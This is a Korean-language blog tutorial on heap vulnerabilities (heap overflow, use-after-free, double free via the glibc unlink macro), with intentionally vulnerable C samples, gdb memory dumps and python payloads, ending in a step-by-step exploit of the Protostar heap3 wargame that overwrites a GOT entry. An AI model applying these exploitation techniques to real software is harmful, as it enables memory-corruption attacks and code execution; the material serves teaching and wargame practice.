Heap 영역에서 발생하는 취약점을 알아보자!

By rls1004 | December 12, 2016

Heap 영역에서 발생하는 취약점을 알아보자!





우리집에 GDB 있으니 메모리 보고가라던 글이 기억 나시는지ㅎㅎ
그 때 유저영역 메모리의 코드, 데이터, 스택, 힙 영역에 대해 이야기 하면서, UAF 라는 취약점에 대해 그녀는 이렇게 이야기를 했었더랬죠.



도대체 이게 뭔 말이냐고 하는 문의가 좀 있었어요(…)

그러던 참에! 막내선원이 UAF 뿐 아니라 Heap 영역에서 발생할 수 있는 취약점의 종류에 대해 쭉 정리 해 두었더라구요.

냉큼 퍼다 날라봅니다!




Prologue


Heap 영역에서 발생하는 취약점은 Stack 영역에서의 취약점과 비슷하면서도 다른 모습을 보이는데요,

Heap 에 익숙하지 않은 사람들을 위해 Stack 영역과 다른 점이 무엇인지,

Heap 영역에서의 취약점은 어떤 것들이 있는지 알아보겠습니다!




Heap 이란?


# 그 힙 말고…


힙은 유저 메모리 영역 중 하나입니다.

프로그램이 실행되면, 실행에 필요한 정보들이 메모리 영역에 올라가게 되는데요,

크게는 코드 영역, 데이터 영역, 스택 영역, 힙 영역이 있습니다.


◎ 코드 영역은 프로그램의 코드가 올라가는 영역입니다.
여기서 코드란, 컴파일된 기계어 코드를 말합니다.


◎ 데이터 영역은 전역 변수와 정적 변수 등이 할당되는 영역입니다.
좀 더 세분화하면, 초기화 된 데이터는 data 영역에 저장되고 초기화 되지 않은 데이터는 bss 영역에 저장됩니다.


◎ 스택 영역은 지역 변수와 매개 변수가 저장되는 영역입니다.
함수가 시작되면 해당 함수의 지역 변수가 스택에 쌓였다가 함수가 종료되면 해당 영역을 해제합니다.


◎ 힙 영역은 빈 공간입니다.
필요에 의해 메모리를 할당하기도 하고 해제하기도 합니다.
스택 영역을 쓰면 되지, 힙 영역을 왜 사용할까요??
데이터 영역이나 스택 영역에서 관리하는 형태 이외의 데이터 형태를 다룹니다.
그것은 바로 동적 할당! 컴파일 시기에 크기를 알 수 없는 데이터!
컴파일 할 때는 크기를 알지 못 하다가, 프로그램이 실행되었을 때 크기가 결정되는 경우입니다.


int num;
int* heap;

scanf("%d",&num);

heap = (int*)malloc(num); // 컴파일 시점에서   없는 크기


데이터 영역과 스택 영역의 경우는 컴파일러가 어느정도 예측하고 통제 가능하지만,

힙 영역의 경우는 컴파일러가 예측 할 수 없는, 프로그래머가 관리하는 영역입니다.

어느 위치에 얼만큼의 메모리가 할당될지 정확히 예측하기 힘들고,

프로그램의 실행 흐름이나 입력 값에 따라서도 변하기 때문에 역시나 여러 종류의 취약점이 존재합니다.

대표적으로는 Heap Overflow, Use After Free, Double Free Bug 등이 있는데요, 이제부터 각 취약점들을 둘러봅시다!




1. Heap Overflow


개념


Heap Overflow 는 Stack 에서와 비슷합니다.



Heap 영역의 낮은 주소에 있는 버퍼가 넘쳐서 다른 버퍼를 침범하여 발생합니다.

쉽죠?ㅎㅎ




해보기


간단한 예제를 통해 Heap Overflow 를 이해해봅시다!


#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	FILE* fd = fopen("secret","r");
	char* input = malloc(40);
	char* secret = malloc(40);

	fread(secret, 1, 40, fd);
	fclose(fd);

	read(0, input, 100);  // Overflow!
	printf("%s\n", input);
}


두 개의 heap 메모리인 input과 secret을 할당한 뒤, secret 파일을 읽어서 두 번째로 할당했던 secret 영역에 저장합니다.

그 후 input 영역에 입력 값을 받고 출력시켜주는 간단한 코드입니다.


여기서 취약점은 read 함수인데요, input으로 할당한 메모리 크기는 40 바이트이지만

read 함수를 통해 최대 100 바이트까지 입력할 수 있어 Heap Overflow 가 발생합니다.


printf 함수로 문자열을 출력할 때는 널 바이트(0x00)를 만날 때까지 출력하죠?


그렇다면 Heap Overflow를 이용해서 secret 에 할당된 메모리 영역의 직전까지 데이터를 채워주면,

문자열이 연결되어 printf 함수가 secret 메모리의 값까지 출력해줄 것입니다.


40 바이트 만큼 할당했으니 input에 할당된 메모리와 secret에 할당된 메모리의 거리차이는 40 바이트겠죠?


엔터가 들어가는 것을 고려하여 39 바이트 만큼 문자열을 입력해봅시다.


$ (python -c ‘print “a”*39’) | ./heapOverflow

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa


엥? 아무일도 일어나지 않네요.


40 바이트를 할당한다고 해서 딱 40 바이트만 할당되는 것이 아니었습니다.

메모리의 할당과 해제를 관리하기 위한 정보들이 함께 들어가기 때문에 실제 할당되는 사이즈는 조금 늘어나게 됩니다.

(이 정보에 관한 자세한 이야기는 밑에서 다룰겁니다!)


$ (python -c ‘print “a”*47’) | ./heapOverflow

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

This is Secret MSG.


문자열의 길이를 조금 늘려주면 이렇게 Heap Overflow를 이용한 Leak이 가능하게 됩니다!

만약 뒤쪽에 함수 포인터가 존재한다면 그부분을 조작하여 프로그램의 실행 흐름을 변조할 수도 있습니다.

RET(Return Address)를 조작할 수 있었던 Stack Overflow 와는 조금 차이점이 보이시죠?




2. Use After Free


개념


Use After Free 는 줄여서 UAF 라고 부릅니다.

Heap 영역은 동적으로 메모리가 할당되고 해제된다고 했었는데요, 할당할 때는 malloc 등의 함수를 사용하고 해제할 때는 free 함수를 사용합니다.


UAF는 말 그대로, 메모리 영역을 free 한 후에 재사용하게 될 경우를 말합니다.


#include <stdio.h>
#include <stdlib.h>

int main(void)
{
	int* heap1;
	int* heap2;
	int* heap3;

	heap1 = (int*)malloc(256);
	heap2 = (int*)malloc(256);

	printf("heap1 : %p\n",heap1);
	printf("heap2 : %p\n",heap2);

	*heap2 = 1234;
	printf("heap2 number : %d\n",*heap2);

	free(heap2);
	printf("free heap2\n");

	heap3 = (int*)malloc(256);
	printf("new heap : %p\n",heap3);
	printf("new heap number: %d\n",*heap3);

	return 0;
}


자, 위의 코드가 무슨 코드일까요??

256 바이트 만큼의 heap 영역을 두 번 할당하고,

두 번째 할당했던 메모리 영역을 free 한 뒤,

256 바이트 만큼의 heap 영역을 다시 할당한 모습입니다.


실행해보면,


$ ./sample

heap1 : 0xa77010

heap2 : 0xa77120

heap2 number : 1234

free heap2

new heap : 0xa77120

new heap number: 1234


이러한 결과가 나옵니다.

여기서 알 수 있는 사실이 몇 가지 있습니다.


먼저 heap2가 free 된 후 똑같은 크기인 heap3를 할당해보니 같은 주소에 할당이 되었는데요,

힙의 할당을 좀 더 효율적으로 하기 위해, 반환된 heap 영역의 크기를 기억해놨다가 같은 크기의 할당 요청이 들어오면 이전 영역을 재사용합니다.


그리고, free 를 한다고 해서 해당 영역이 초기화되는 것이 아니라는 것도 알 수 있지요.

heap2 에서 할당한 영역에 “1234” 라는 숫자를 써준 뒤 free 하고, 그 영역을 heap3가 재사용하게 됐을 때, “1234”라는 값이 그대로 들어있습니다.


이렇게 해제된 공간을 재사용할 경우, 원하지 않는 값을 참조할 수 있게 됩니다.




해보기


간단한 예제를 통해 Use After Free 를 이해해봅시다!


#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
	char name[10];
	void (*print)(void*);
} test;

typedef struct {
	char name[128];
} string;

void printName(test* t)
{
	printf("%s\n",t->name);
}

void shell(void)
{
	printf("This is Shell\n");
}

int main(void)
{
	test* t1;
	string* s1;

	/* malloc and free */
	t1 = malloc(256);

	strcpy(t1->name, "DOG");
	t1->print = (void*)printName;

	t1->print(t1);

	free(t1);

	/* malloc */
	s1 = malloc(256);

	scanf("%128s",s1->name);

	/* use */
	t1->print(t1);

	return 0;
}


test 구조체를 동적 할당하여 사용한 뒤 해제하고,

string 구조체를 동적 할당하여 사용하고,

test 구조체를 재사용한 코드입니다.


이때의 Heap 영역은 아래와 같이 할당됩니다.



256 바이트의 test를 해제한 후, 같은 크기의 string을 할당하면 해제되었던 test의 위치에 메모리가 할당됩니다.

그리고 test를 해제했다는 사실을 깜빡하고 test의 값을 호출하면, 어떤 값으로 바뀌었을지 모르는! 포인터를 참조하게 됩니다.


이렇게, 해제된 메모리를 재사용하는 경우를 Use After Free 라고 합니다.

이제 이 취약점을 이용해서 예제를 공격해봅시다.



공격 방법은 이렇습니다.


test 구조체가 해제된 후, 같은 위치에 string 구조체가 할당되는데요,

이때 test 구조체의 멤버 변수 중 print 라는 함수 포인터의 값을 덮을 수 있습니다.

원래는 printName 함수의 주소가 들어있지만,

이 값을 shell 함수의 주소로 덮은 뒤 마지막의 test->print(t1) 가 실행되면 원래의 printName 함수 대신 shell 함수가 실행됩니다.


$ (python -c ‘print “a”*16+”\x47\x06\x40”‘) | ./uaf

DOG

This is Shell


이렇게 Heap Overflow와 Use After Free 를 간단히 알아봤습니다.


.

.

.


다음으로, 요새 CTF 에서 심심치 않게 볼 수 있는 Double Free Bug 에 대해서 알아볼까요?




3. Double Free Bug


개념


Double Free Bug는 줄여서 DFB 라고 부릅니다.

말 그대로, Free 를 두 번할 때 발생하는 버그입니다.


위에서 heap을 할당할 때, 할당된 영역 간의 거리가 요청한 사이즈보다 조금 더 컸습니다.


다시 한 번 볼까요?


/* test.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(void)
{
    char *a, *b, *c;

    a = malloc(0x20);
    b = malloc(0x20);
    c = malloc(0x20);

    strcpy(a, "AAAAAAAA");
    strcpy(b, "BBBBBBBB");
    strcpy(c, "CCCCCCCC");

    printf("1st : %p\n",a);
    printf("2nd : %p\n",b);
    printf("3rd : %p\n",c);

    free(c);
    free(b);
    free(a);

    return 0;
}


$ ./test

1st : 0x98b7008

2nd : 0x98b7030

3rd : 0x98b7058


0x20 만큼의 메모리를 세 번 할당했지만 할당된 영역들간의 주소 차이는 0x28 만큼입니다.


이렇게 요청한 사이즈보다 크게 할당되는 이유는 동적 메모리가 할당될 때는 해당 메모리에 대한 정보들이 포함되기 때문입니다.


포함되는 정보들에는 어떤 것들이 있는지, malloc의 소스코드를 참고 해 보겠습니다!


struct malloc_chunk {


INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */


struct malloc_chunk* fd; /* double links – used only if free. /
struct malloc_chunk
bk;


/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links – used only if free. */
struct malloc_chunk* bk_nextsize;
};


할당된 메모리(chunk)에 대한 정보들로는 prev_size, size, fd, bk, fd_nextsize, bk_nextsize 가 있습니다.


prev_size는 이전 chunk가 free 되면 설정되는 값으로, 플래그를 제외한 이전 chunk의 크기 정보가 기록됩니다.

이 정보를 통해 이전 chunk 의 위치를 쉽게 찾을 수 있습니다.


size에는 현재 chunk의 사이즈가 기록됩니다.

chunk는 8바이트 단위로 정렬되는데, 이때 하위 3비트는 플래그 용도로 쓰입니다.


/* size field is or’ed with PREV_INUSE when previous adjacent chunk in use */
#define PREV_INUSE 0x1


/* extract inuse bit of previous chunk */
#define prev_inuse(p) ((p)->size & PREV_INUSE)


/* size field is or’ed with IS_MMAPPED if the chunk was obtained with mmap() */
#define IS_MMAPPED 0x2


/* check for mmap()‘ed chunk */
#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED)


/* size field is or’ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4


/* check for chunk from non-main arena */
#define chunk_non_main_arena(p) ((p)->size & NON_MAIN_ARENA)


※ PREV_INUSE : 이전 chunk가 사용중일 때 설정되는 플래그

※ IS_MMAPPED : mmap() 함수로 할당된 chunk일 때 설정되는 플래그

※ NON_MAIN_ARENA : 멀티 쓰레드 환경에서 main 이 아닌 쓰레드에서 생성된 메모리 일 때 설정되는 플래그


fd는 forward pointer, bk는 backward pointer 로, chunk 리스트를 관리하기 위해

chunk의 리스트들 중 각각 이전 chunk와 다음 chunk의 주소를 가리킵니다.




Double Free Bug는 free() 함수가 수행되는 과정 중 unlink 라는 매크로에 의해 발생합니다.


#define unlink( P, BK, FD ) {
    BK = P->bk;
    FD = P->fd;
    FD->bk = BK;
    BK->fd = FD;
}


unlink 매크로는 위와 같이 생겼습니다.


unlink 매크로는 Double Free Bug 를 이해하는 데 있어서 매우! 중요한 개념입니다.


Heap을 할당하고 해제할 때, 메모리를 좀 더 효율적으로 사용하기 위해 bin이라는 구조를 사용하여 해제된 chunk list를 관리합니다.

이 것을 bin 구조라고 하는데요, free 된 chunk의 필드 중 fd, bk를 이용하여 리스트를 연결하고 있습니다.




bin 구조는 chunk의 크기에 따라 126개로 분리됩니다.


그중 small bin은 512 바이트 미만의 bin 구조를 관리합니다.

헤더를 포함하여 할당할 수 있는 최소 메모리 크기가 16 바이트 이기 때문에,

16바이트부터 8바이트 단위로 총 62개의 bin이 있고 같은 크기의 chunk 끼리 리스트를 이루게 됩니다.

large bin은 좀 더 크기가 큰 chunk 를 다룹니다.

small bin과는 크기가 같지 않더라도 같은 범위에 속하면 같은 리스트로 관리합니다.


그리고 여기서 조금 특별한 bin 리스트가 있는데요, bin 구조 중 첫 번째 bin인 unsorted chunk list 입니다.


각 chunk 들은 free가 됐다고 바로 해당 bin 리스트에 들어가는게 아니라 unsorted chunk list를 거치고,

메모리 할당시에는 unsorted chunk list를 제일 먼저 확인하여 같은 크기의 free된 chunk가 있다면 해당 chunk를 재사용합니다.


그리고 그 과정에서 검색을 거친 chunk는 두 번의 기회 없이 원래 자신이 속해야하는 bin 리스트로 들어가게 됩니다.


small bin 중 72 바이트 이하의 chunk는 fast bin이라고 불리는데요, fast bin에 대한 자세한 내용은 아래의 번역글에서 다루고 있습니다.


> [번역글] 힙 오버플로우를 통한 fastbin 컨트롤


이렇게 free된 chunk 들은 사이즈에 따라 관리되는데요, 종종 list를 이동해야할 일도 생깁니다.


가장 단순하게는 free된 chunk 가 다시 malloc 되는 경우입니다.

bin 리스트에서 해당 chunk를 제거해주는 작업이 필요합니다.


bin 리스트는 double linked list로 관리되는데(fast bin은 single linked list!),

double linked list 중 중간에 있는 chunk가 나가게 되면 그 앞과 뒤를 다시 연결해주는 작업이 필요합니다.



바로 이렇게요!

리스트 내의 다음 chunk를 가리키는 bk와 이전 chunk를 가리키는 fd를 변경하여 중간의 chunk 제거가 가능합니다.


.

.

.


또 unlink가 필요한 상황이  있는데요, chunk의 사이즈가 증가하여 다른 bin 리스트로 이동할 때 입니다.

어떤 chunk가 free되었을 때, 연속된 위치의 다른 chunk가 free되어 있다면 두 chunk를 합병하여 하나로 만들어줍니다.

이때는 chunk의 사이즈가 증가하기 때문에 원래 속해있던 bin 리스트에서 해당 chunk를 제거하고,

다시 적절한 bin 리스트에 넣어주어야 합니다.

조금 복잡하지만 unlink 과정이 이해가 가시나요? :)

Double Free Bug는 바로 이 unlink 과정을 조작하여 발생합니다!!



Heap Overflow 등을 이용하여 fd와 bk가 조작된 chunk 인 P를 만들 수 있다면

unlink시..fd+12=bk, bk+8=fd 로, 원하는 주소에 원하는 값을 쓰는 것도 가능해집니다 :)

free된 chunk (fd, bk가 조작된..) 와 연속된 주소에 있는 chunk를 free 시켰을 때 발생하는 취약점으로, Double Free 라는 이름이 붙은 것 같습니다.

참고로, unlink를 공격하는 방법은 상위 버전에서는 패치가 되어 glib 2.3.2 이하의 버전에서만 가능한 방법입니다.




해보기


이번엔 직접 메모리를 보며 이해해봅시다.

exploit-exercises의 protostar 중 heap3 문제입니다.


exploit-exercises prostar - heap3 


#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
        printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
        char *a, *b, *c;

        a = malloc(32);
        b = malloc(32);
        c = malloc(32);

        strcpy(a, argv[1]);
        strcpy(b, argv[2]);
        strcpy(c, argv[3]);

        free(c);
        free(b);
        free(a);

        printf("dynamite failed?\n");
}


a, b, c에 각각 “11111111”, “22222222”, “33333333” 을 입력하고 c부터 차례로 free 해봅시다.


Breakpoint 1, 0x08048911 in main ()

(gdb) x/32x 0x0804a000

0x804a000: 0x00000000 0x00000029 0x31313131 0x31313131

0x804a010: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a020: 0x00000000 0x00000000 0x00000000 0x00000029

0x804a030: 0x32323232 0x32323232 0x00000000 0x00000000

0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a050: 0x00000000 0x00000029 0x33333333 0x33333333

0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a070: 0x00000000 0x00000000 0x00000000 0x00000f89


free하기 전 a, b, c가 모두 할당된 상태입니다.

데이터가 들어가있는 0x31313131… 전의 4바이트가 size 필드인데요,

소스코드에서 할당해준 크기는 0x20 이었지만 여기에 prev_size와 size 필드가 포함되어 8바이트가 늘어났고,

하위 3비트 중 마지막 비트인 P(PREV_INUSE)플래그가 설정되어 1이 더해졌습니다.

(실제로 a chunk 앞에는 아무것도 없지만 free(a)시, 앞의 메모리가 사용중인 것으로 인식하여 병합하지 않도록 P플래그를 설정해놓은 것입니다.)


또, 여기서 보면 size 필드만 값이 들어가있고 prev_size는 비어있죠?

prev_size는 이전 필드가 free 되면 설정되는 값이므로 아직 아무것도 없습니다.


.

.

.


free©


Breakpoint 2, 0x0804891d in main ()

(gdb) x/32x 0x0804a000

0x804a000: 0x00000000 0x00000029 0x31313131 0x31313131

0x804a010: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a020: 0x00000000 0x00000000 0x00000000 0x00000029

0x804a030: 0x32323232 0x32323232 0x00000000 0x00000000

0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a050: 0x00000000 0x00000029 0x00000000 0x33333333

0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a070: 0x00000000 0x00000000 0x00000000 0x00000f89


c를 free 했습니다!


c의 데이터 부분 중 첫 번째 4바이트가 0으로 초기화되었습니다.

이 값이 바로 fd 입니다.



할당 중에는 데이터 영역으로 쓰였던 부분이지만, free가 되면 fd와 bk의 영역으로 쓰입니다.


.

.

.


free(b)


Breakpoint 3, 0x08048929 in main ()

(gdb) x/32x 0x0804a000

0x804a000: 0x00000000 0x00000029 0x31313131 0x31313131

0x804a010: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a020: 0x00000000 0x00000000 0x00000000 0x00000029

0x804a030: 0x0804a050 0x32323232 0x00000000 0x00000000

0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a050: 0x00000000 0x00000029 0x00000000 0x33333333

0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a070: 0x00000000 0x00000000 0x00000000 0x00000f89


b가 free 되면 b의 fd에는 이전에 free한 chunk 인 c의 주소가 기록됩니다.


.

.

.


free(a)


(gdb) ni

(gdb) x/32x 0x0804a000

0x804a000: 0x00000000 0x00000029 0x0804a028 0x31313131

0x804a010: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a020: 0x00000000 0x00000000 0x00000000 0x00000029

0x804a030: 0x0804a050 0x32323232 0x00000000 0x00000000

0x804a040: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a050: 0x00000000 0x00000029 0x00000000 0x33333333

0x804a060: 0x00000000 0x00000000 0x00000000 0x00000000

0x804a070: 0x00000000 0x00000000 0x00000000 0x00000f89


마찬가지로 a가 free되면 fd에는 이전에 free한 chunk인 b의 주소가 들어갑니다.


.

.

.


메모리로 구조도 확인해봤으니 이제 공격을 해볼까요?


strcpy(a, argv[1]);
strcpy(b, argv[2]);
strcpy(c, argv[3]);


stcpy 함수를 이용하여 길이 검사 없이 문자열을 복사하고 있습니다.

이로 인해 Heap Overflow 가 발생하는군요!


a에 문자열을 복사해 넣을 때 발생하는 Overflow 를 이용하여 조작된 chunk를 만들어봅시다.

뭘로 조작해야될까요??

일단 double free bug를 사용하면 원하는 주소에 원하는 값을 쓸 수 있다고 했죠?!

printf 함수의 GOT에 winner 함수의 주소를 쓰는 것으로 목표를 정합시다!




unlink 매크로는 chunk 합병이 일어날 경우, 이전 chunk를 원래의 bin 리스트에서 제거할 때 사용된다고 했었는데요,

free가 c부터 거꾸로 일어나기 때문에 현재 상태로는 unlink가 불리지 않습니다.


unlink를 부르기 위해, a에서 Overflow를 이용하여 b의 prev_size 중 P플래그를 해제시킵시다!

P플래그가 설정되어 있지 않다면 b가 free될 때 이전의 chunk가 free되어 있는 것으로 인식할 것입니다.


이전과 다음 chunk의 위치는 prev_size를 이용하여 계산합니다.


이전 chunk의 주소 = &b - prev_size


여기서 prev_size값을 변조하여 이전 chunk의 위치를 조작할 수 있습니다.

prev_size를 -4(0xfffffffc)로 조작하면 &b - (-4) 이 되어 이전 chunk의 위치를 &b+4로 인식하게 됩니다.

&b+4은 b chunk의 데이터영역이니 마음대로 값을 조작할 수 있겠군요! :0

fd+12 = bk 이므로 fd에는 printf의 GOT - 12, bk에는 winner()함수의 주소를 넣어줍시다!

짠~


$ ./heap3 `python -c ‘print “a”*32+”\xfc\xff\xff\xff”*2’python -c ‘print “aaaa”+”\x1c\xb1\x04\x08”+”\x64\x88\x04\x08”’` C
Segmentation fault


실패했습니다…

왜때문에..!




(gdb) r `python -c ‘print “a”*32+”\xf8\xff\xff\xff”*2’python -c ‘print “aaaa”*2+”\x1c\xb1\x04\x08”+”\x64\x88\x04\x08”’` C

Starting program: /opt/protostar/bin/heap3 `python -c ‘print “a”*32+”\xfc\xff\xff\xff”*2’python -c ‘print “aaaa”+”\x1c\xb1\x04\x08”+”\x64\x88\x04\x08”’` C


Program received signal SIGSEGV, Segmentation fault.

0x08049906 in free (mem=0x804c030) at common/malloc.c:3638

3638 in common/malloc.c

(gdb) x/x 0x0804b128

0x804b128 <_GLOBAL_OFFSETTABLE+64>: 0x08048864

(gdb) x/i 0x08048864

0x8048864 : push ebp


puts의 GOT에는 winner가 정상적으로 들어가 있습니다.

어디서 죽은걸까요??


.

.

.


(gdb) x/i $eip

0x8049906 : mov DWORD PTR [eax+0x8],edx

(gdb) x/x $eax+0x8

0x804886c : 0x00000024

(gdb) x/x $edx

0x804b11c <_GLOBAL_OFFSETTABLE+52>: 0x08048766


d+12 = bk 이후에 bk+8 = fd 를 하는 부분입니다. ( fd: GOT-12, bk: winner() )

bk+8은 winner()+8, 즉 코드영역입니다.

쓰기 권한이 없는 코드 영역에 fd 값을 쓰려고 하니 실패한 것으로 보입니다.


그렇다면 fd와 bk 둘 다 쓰기 가능한 영역의 주소로 설정해줘야 겠네요!

스택에 쉘 코드를 넣고 GOT를 쉘 코드의 주소로 Overwrite 합시다 ㅠ_ㅠ


.

.

.


다행히 쉘 코드는 아주 간단합니다 ㅎㅎ

우리가 실행할 winner() 함수가 이미 구현되어 있기 때문에 이 함수를 부르는 쉘 코드면 됩니다.

“push winner; ret”


$ ./heap3 `python -c ‘print
“\x90”*22+”\x68\x64\x88\x04\x08\xc3”+“a”*4+”\xfc\xff\xff\xff”*2’python -c ‘print “aaaa”+”\x1c\xb1\x04\x08”+”\x08\xc0\x04\x08”’` C
that wasn’t too bad now, was it? @ 1474782080




멀고도 험한 Heap…


glib 2.3.2 위의 버전에서는 fd와 bk가 변조되었는지 확인하는 부분이 있어 unlink를 이용한 공격이 힘듭니다.


그 후에 fast bin을 공격하거나 top chunk를 공격하는 등 여러 공격 기법이 등장하기도 했습니다.


공통점은 역시 Heap의 구조를 잘 알고 있어야 공격할 수 있다는 점이네요,

Heap에 대해 조금 감이 왔다면 House of ~ 시리즈를 공부해보시면 좋을 것 같습니다 :D


comments powered by Disqus